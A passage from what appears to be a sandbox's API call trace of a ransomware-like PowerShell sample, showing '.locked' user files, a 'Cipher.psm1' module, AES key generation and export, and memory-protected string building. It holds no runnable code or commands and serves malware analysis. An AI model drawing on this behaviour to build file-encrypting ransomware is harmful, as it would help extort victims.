Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbc, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.279] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbd, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbd, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.280] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbd, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0139.282] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\m_1jy6jg.mp4.locked"), fInfoLevelId=0x0, lpFileInformation=0x6b0c5c0 | out: lpFileInformation=0x6b0c5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x163baa0f, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x163baa0f, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x163e0c7c, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x5d4)) returned 1 [0139.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0139.282] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4.locked", lpFilePart=0x0) returned 0x30 [0139.282] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\m_1jy6jg.mp4.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x778 [0139.282] GetFileInformationByHandle (in: hFile=0x778, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0139.282] CloseHandle (hObject=0x778) returned 1 [0139.283] GetConsoleOutputCP () returned 0x1b5 [0139.284] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0139.284] GetConsoleOutputCP () returned 0x1b5 [0139.284] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0139.284] GetConsoleOutputCP () returned 0x1b5 [0139.285] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0139.285] GetConsoleOutputCP () returned 0x1b5 [0139.285] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0139.285] GetConsoleOutputCP () returned 0x1b5 [0139.285] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0139.285] GetConsoleOutputCP () returned 0x1b5 [0139.286] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0139.286] GetConsoleOutputCP () returned 0x1b5 [0139.286] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0139.286] GetConsoleOutputCP () returned 0x1b5 [0139.286] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0139.286] GetConsoleOutputCP () returned 0x1b5 [0139.287] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0139.287] GetConsoleOutputCP () returned 0x1b5 [0139.287] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0139.287] GetConsoleOutputCP () returned 0x1b5 [0139.287] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0139.287] GetConsoleOutputCP () returned 0x1b5 [0139.288] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0139.288] GetConsoleOutputCP () returned 0x1b5 [0139.288] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0139.288] GetConsoleOutputCP () returned 0x1b5 [0139.289] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0139.289] GetConsoleOutputCP () returned 0x1b5 [0139.289] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0139.289] GetConsoleOutputCP () returned 0x1b5 [0139.289] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0139.289] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0139.290] GetConsoleOutputCP () returned 0x1b5 [0139.290] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0139.290] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0139.291] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6b330dc*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x6b330dc*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0139.291] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0139.292] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0139.296] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbd, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.296] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaf, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaf, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.296] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.296] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0139.296] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbe, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.296] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaf, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.296] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbe, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbe, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.297] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0139.297] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0139.297] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbf, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.297] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbe, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.297] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbf, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbf, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.298] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x42eb210) returned 1 [0139.298] CryptGenKey (in: hProv=0x42eb210, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84df8) returned 1 [0139.298] CryptContextAddRef (hProv=0x42eb210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0139.298] CryptExportKey (in: hKey=0x8e84df8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0139.298] CryptExportKey (in: hKey=0x8e84df8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6b3c96c, pdwDataLen=0x99ae894 | out: pbData=0x6b3c96c*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0139.299] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\xc8fc\x6b3\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667\xe400\x99a\x9e") returned 0x0 [0139.299] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc0, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.299] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbf, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.299] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc0, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc0, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.299] SysStringLen (param_1="") returned 0x8 [0139.299] SysStringLen (param_1="m") returned 0x8 [0139.299] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.300] SysStringLen (param_1="\x32c0\xe639\x9c4c\x2082\x8152\x606f\xf19c\x9efa") returned 0x8 [0139.300] SysStringLen (param_1="\x32c0\xe639\x9c4c\x2082\x8152\x606f\xf19c\x9efa") returned 0x8 [0139.300] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.300] SysStringLen (param_1="mR") returned 0x8 [0139.300] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.300] SysStringLen (param_1="\x3c47\x4a8c\x2bab\x7130\x6a18\x9d67\xcc4b\x316b") returned 0x8 [0139.300] SysStringLen (param_1="\x3c47\x4a8c\x2bab\x7130\x6a18\x9d67\xcc4b\x316b") returned 0x8 [0139.300] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.300] SysStringLen (param_1="mRW") returned 0x8 [0139.300] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.300] SysStringLen (param_1="\xfd92\x35a2\x4dd5\x2016\x380d\xccb9\x72e3\x476f") returned 0x8 [0139.300] SysStringLen (param_1="\xfd92\x35a2\x4dd5\x2016\x380d\xccb9\x72e3\x476f") returned 0x8 [0139.300] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.300] SysStringLen (param_1="mRWE") returned 0x8 [0139.300] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.300] SysStringLen (param_1="\x62d7\x2b58\xd57e\xc1fb\x24dd\x4ed9\x6487\x5aca") returned 0x8 [0139.300] SysStringLen (param_1="\x62d7\x2b58\xd57e\xc1fb\x24dd\x4ed9\x6487\x5aca") returned 0x8 [0139.300] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.301] SysStringLen (param_1="mRWEv") returned 0x8 [0139.301] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.301] SysStringLen (param_1="ࡁ㽐䘟葴ྡྷתּ물쭆") returned 0x8 [0139.301] SysStringLen (param_1="ࡁ㽐䘟葴ྡྷתּ물쭆") returned 0x8 [0139.301] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.301] SysStringLen (param_1="mRWEvF") returned 0x8 [0139.301] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.301] SysStringLen (param_1="\xac49\xce50\x3fb5\x675a\xe69f\x6b74\xea07\x9db0") returned 0x8 [0139.301] SysStringLen (param_1="\xac49\xce50\x3fb5\x675a\xe69f\x6b74\xea07\x9db0") returned 0x8 [0139.301] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.301] SysStringLen (param_1="mRWEvFM") returned 0x8 [0139.301] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.301] SysStringLen (param_1="\x6fb2\x9c15\x8e8f\xcc27\xd6dd\x7ab4\x9450\xdfa0") returned 0x8 [0139.301] SysStringLen (param_1="\x6fb2\x9c15\x8e8f\xcc27\xd6dd\x7ab4\x9450\xdfa0") returned 0x8 [0139.301] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.301] SysStringLen (param_1="mRWEvFMl") returned 0x8 [0139.301] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0139.302] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085") returned 0x8 [0139.302] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085") returned 0x8 [0139.302] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085") returned 0x8 [0139.302] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085") returned 0x10 [0139.302] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.302] SysStringLen (param_1="mRWEvFMlbⰖ劌︨㒂") returned 0x10 [0139.302] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.302] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\xd023\x1151\x2ddb\xbaf1\x28f\x6095\x48d0\x4f55") returned 0x10 [0139.302] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\xd023\x1151\x2ddb\xbaf1\x28f\x6095\x48d0\x4f55") returned 0x10 [0139.302] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.302] SysStringLen (param_1="mRWEvFMlb5Ⱆ劌︨㒂") returned 0x10 [0139.302] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.302] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\xaae0\x512b\xf30e\xde13\xbb05\x8b04\x97af\xeaa3") returned 0x10 [0139.302] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\xaae0\x512b\xf30e\xde13\xbb05\x8b04\x97af\xeaa3") returned 0x10 [0139.302] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.302] SysStringLen (param_1="mRWEvFMlb5W劌︨㒂") returned 0x10 [0139.302] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.302] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x94a9\x758b\xc66b\x13f3\x5345\x1393\x9278\xe353") returned 0x10 [0139.303] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x94a9\x758b\xc66b\x13f3\x5345\x1393\x9278\xe353") returned 0x10 [0139.303] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.303] SysStringLen (param_1="mRWEvFMlb5WU劌︨㒂") returned 0x10 [0139.303] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.303] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x3342\x7bcc\x5581\x7278\x85d1\xcb9e\x87ee\xf3a2") returned 0x10 [0139.303] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x3342\x7bcc\x5581\x7278\x85d1\xcb9e\x87ee\xf3a2") returned 0x10 [0139.303] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.303] SysStringLen (param_1="mRWEvFMlb5WUO︨㒂") returned 0x10 [0139.303] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.303] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x55ad\x3c5a\xae43\x1611\x4e5\x7a03\x332f\x73d9") returned 0x10 [0139.303] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x55ad\x3c5a\xae43\x1611\x4e5\x7a03\x332f\x73d9") returned 0x10 [0139.303] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.303] SysStringLen (param_1="mRWEvFMlb5WUOT㒂") returned 0x10 [0139.303] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.303] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\xfcd8\x379f\x4723\xc59c\x3fc3\xd7ef\x82e4\x9c5a") returned 0x10 [0139.303] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\xfcd8\x379f\x4723\xc59c\x3fc3\xd7ef\x82e4\x9c5a") returned 0x10 [0139.303] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.303] SysStringLen (param_1="mRWEvFMlb5WUOT7") returned 0x10 [0139.303] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.304] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x7d6b\x7e81\x330\x41ec\x8429\x2bc0\xf87c\xc9f4") returned 0x10 [0139.304] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x7d6b\x7e81\x330\x41ec\x8429\x2bc0\xf87c\xc9f4") returned 0x10 [0139.304] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.304] SysStringLen (param_1="mRWEvFMlb5WUOT7p") returned 0x10 [0139.304] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0139.304] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1") returned 0x10 [0139.304] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1") returned 0x10 [0139.304] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1") returned 0x10 [0139.304] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1") returned 0x18 [0139.304] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.304] SysStringLen (param_1="mRWEvFMlb5WUOT7pP⥕ᶉ⽋脇氮嵲") returned 0x18 [0139.304] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.304] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xfc6e\xd5a5\x8110\xb2bc\x67d8\x9a7b\x454e\x9a2") returned 0x18 [0139.304] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xfc6e\xd5a5\x8110\xb2bc\x67d8\x9a7b\x454e\x9a2") returned 0x18 [0139.304] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.305] SysStringLen (param_1="mRWEvFMlb5WUOT7pP6ᶉ⽋脇氮嵲") returned 0x18 [0139.305] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0139.305] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xe5ca\x3177\xc179\x8ac3\x24b3\x3822\x854f\x4a3") returned 0x18 [0139.305] SysStringLen 